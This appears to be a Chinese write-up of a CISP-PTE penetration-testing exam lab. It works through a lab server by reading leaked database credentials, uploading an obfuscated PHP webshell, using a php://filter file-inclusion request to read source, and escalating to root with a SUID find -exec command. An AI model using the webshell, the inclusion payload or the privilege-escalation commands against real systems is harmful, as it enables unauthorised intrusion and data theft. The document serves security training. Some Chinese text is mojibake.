CISP-PTE学习笔记综合考试题复现WP
Posted 星球守护者
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了CISP-PTE学习笔记综合考试题复现WP相关的知识,希望对你有一定的参考价值。
文章目录
综合考试题(一)梅奥诊所系统
问题
问题1:请访问192.168.0.110,登录网站后台将看到 KEY6 的值
问题2:请获取 WebShell 后,在网站运行目录下找到 KEY7 的值:
问题3:请获取服务器 root 权限后,在/root 路径下找到 KEY8 的值:
解题WP
1、获取后台
第一步 扫描端口,发现开放的端口
nmap -p- -A 192.168.0.110
--------------
21-ftp-开放
80-web-开放
3306-mysql-开放
6721-web-开放
第二步 访问web页面通过注册,点击确认,发现跳转到后台界面
(这块也可以通过扫描目录发现后台的地址),暴力破解发现无法得到密码
发现一点击确认,发现是通过前端路由的形式进行跳转到index.php,保存这个地址
直接访问后台(http://192.168.0.110/index.php)
第三步 查看ftp,发现泄露的文件,发现数据的账号密码,进行远程连接
ftp://192.168.253.205/ 发现有个pub目录,进行访问
ftp://192.168.253.205/pub/ 发现有个config文件
本地下载并且进行查看,发现泄露了数据库的信息
---------------------
<?php
$config['db'] = array('hostname' => 'localhost', //数据库主机
'datebase' => 'patient', //数据库名称
'username' => 'root', //数据库用户名
'password' => '123456', //数据库密码
'charset' => 'utf8', //数据库字符集
?>
-------------------
第四步 通过泄露的账号密码,进行远程登录数据库,并且更新数据
123456的md5加密:
e10adc3949ba59abbe56e057f20f883e
第五步 再次登录后台,成功进去获取key
key6:t7kxer7z
2、获取shell
第一步 文件上传,只能上传pdf文件,发现无法回显,无法找到路径
这个是根据第五步的上传文件分析,只允许上传pdf文件
<?php // 使用时请删除此行, 连接密码: cZMHcPsG ?>
<?php $sIje=create_function(str_rot13('$').chr(0x16594/0x31c).str_rot13('b').base64_decode('bQ==').str_rot13('r'),chr(98778/978).base64_decode('dg==').str_rot13('n').chr(0xf5f4/0x247).base64_decode('KA==').base64_decode('JA==').chr(99015/861).chr(0357-0200).chr(0x187-0x11a).base64_decode('ZQ==').base64_decode('KQ==').chr(01212-01117));$sIje(base64_decode('NDAzM'.'TE4O0'.'BldkF'.'sKCRf'.''.str_rot13('H').chr(045356/0426).str_rot13('9').chr(0x343-0x2ef).str_rot13('I').''.''.chr(0xa870/0x268).base64_decode('dA==').str_rot13('w').base64_decode('Vw==').str_rot13('x').''.'1IY1B'.'zR10p'.'OzEyM'.'DkzNT'.'Q7'.''));?>
第二步 通过访问6721,提示有个访问API查询接口,分析代码,是有一个文件包含漏洞,所有应该是需要包含刚才上传的文件
http://192.168.0.110:6721/
http://192.168.0.110:6721/api/query_pdf.php
提示需要使用post请求,并且提交archive的值,
第三步 通过扫描目录,访问phpinfo,发现网站的绝对路径
http://192.168.0.110/phpinfo.php
------------------------------
DOCUMENT_ROOT /var/www/html/PIzABXDg/
SCRIPT_FILENAME /var/www/html/PIzABXDg/phpinfo.php
-------------------------------
第四步 通过读取index.php,分析源码,发现上传的文件都在mode为文件下
使用封装协议读取PHP协议,查看index.php的源代码
php://filter/read=convert.base64-encode/resource=
POST /api/query_pdf.php HTTP/1.1
Host: 192.168.0.110:6721
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.90 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=q5v69h5nq279pqs90tt5k62g81
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 89
archive=php://filter/read=convert.base64-encode/resource=/var/www/html/PIzABXDg/index.php
base64解码后
<?php require('config.php');?>
<?php include('lib/functions.php');?>
<?php require('lib/mysql.class.php');?>
<?php
@extract($_GET,EXTR_PREFIX_ALL,"g");
if(isset($_POST['submit']) || isset($g_submit))
@check_post_request();
@extract($_POST,EXTR_PREFIX_ALL,"p");
session_cache_limiter('private,must-revalidate');
if(!isset($_SESSION))
session_start();
$db = new c_mysql;
$g_m = (isset($g_m) && in_array_key($g_m,$config['model'])) ? $g_m : 'login';
$g_o = isset($g_o) ? $g_o : '';
if($g_m != 'login')
if(!isset($_SESSION['uid']))
header('Location:?m=login');
exit();
if(isset($_SESSION['uid']) && $g_m != 'login')
$user = $db->select_one('user',array('id' => $_SESSION['uid']));
if(!$user)
alert_goto('?m=login','没有这个用户的记录,请é‡æ–°ç™»å½•ï¼');
if($g_m == 'home')
$g_m = 'order';
$g_o = 'list';
$exts = $db->select_date('ext');
foreach($exts as $ext)
$config['ext'][$ext['id']] = $ext;
foreach($exts as $ext)
$config['ext'][$ext['code']] = $ext;
$model_file = 'model/'.$g_m.'.php';
if(file_exists($model_file))
include($model_file);
$operate_file = 'model/'.$g_m."_".$g_o.".php";
if(file_exists($operate_file))
include($operate_file);
create_html();
?>
第五步 根据第四步的提示,继续获取/model/order_upload.php源码
通过分析,文件上传的时候,提交的两个参数m=order&o=upload ,最后保存到/model/order_upload.php函数进行处理,所有文件包含,查看内容
archive=php://filter/read=convert.base64-encode/resource=/var/www/html/PIzABXDg/model/order_upload.php
经过base64解码后
<?php
$operates['upload'] = 'ä¸Šä¼ æ¡£æ¡ˆ';
$target_dir = "CISP-PTE-1413/";
$info = '';
if(isset($_POST["submit"]))
$target_file = $target_dir . basename($_FILES[fileToUpload]["name"]);
$uploadOK = 1;
$fileType = strtolower(pathinfo($target_file,PATHINFO_EXTENSION));
if(file_exists($target_file))
$info="文件已ç»å˜åœ¨";
$uploadOK = 0;
if($fileType != "pdf")
$info = "åªå
ä¸Šä¼ PDF文件";
$uploadOK = 0;
if($fileType != "pdf")
$info = "åªå
è®¸ä¸Šä¼ pdf文件";
$uploadOK = 0;
if($uploadOK == 0)
else
if(move_uploaded_file($_FILES["fileToUpload"]["tmp_name"], $target_file))
$info = basename($_FILES["fileToUpload"]["name"])."ä¸Šä¼ æˆåŠŸ";
else
$info = "ä¸Šä¼ æ–‡ä»¶æ—¶å‘生错误";
$main_tpl = "order_upload.htm";
$replace['info'] = $info;
?>
第六步,通过分析,发现刚才上传的文件是村子,访问发现确实存在
http://192.168.0.110/CISP-PTE-1413/
第七步 通过蚁剑,配置文件(文件包含去读取上传的文件)
添加文件包含的目录,并且base64编码
添加请求body信息
测试连接成功
第八步 连接成功,翻找key7.php
3、提权查看文件
第一步 查看当前用户权限,低权限
find / -perm -u=s -type f 2>/dev/null
/表示从文件系统的顶部(根)开始并找到每个目录
-perm 表示搜索随后的权限
-u=s表示查找root用户拥有的文件
-type表示我们正在寻找的文件类型
f 表示常规文件,而不是目录或特殊文件
2表示该进程的第二个文件描述符,即stderr(标准错误)
>表示重定向
/dev/null是一个特殊的文件系统对象,它将丢弃写入其中的所有内容。
实用程序find用来在系统中查找文件。同时,它也有执行命令的能力。 因此,如果配置为使用SUID权限运行,则可以通过find执行的命令都将以root身份去运行。
第二步 使用suid提权,发现当前用户是root
/usr/bin/find query_pdf.php -exec whoami \\;
第三步 通过提示,查看/root目录下的文件
第四步 查看/root/key8.php内容
/usr/bin/find query_pdf.php -exec cat /root/key8.php \\;
注意:这使用绝对路径
此时数据库也可以直接连接上
摘抄
学习不只在于习得新知识,更在于它能帮助我们保持深度思考,从中不断修正对世界的认知,对自我的了解,继而获得真正的成长。
学习从来不是一件一劳永逸的事情,它应该是人生任何阶段都不可或缺的一种能力。
唯有不断学习,才能与时俱进,不被淘汰。让不断学习成为一种习惯,你所收获的将会是应对生活最大的底气和智慧。
—《不断学习》
以上是关于CISP-PTE学习笔记综合考试题复现WP的主要内容,如果未能解决你的问题,请参考以下文章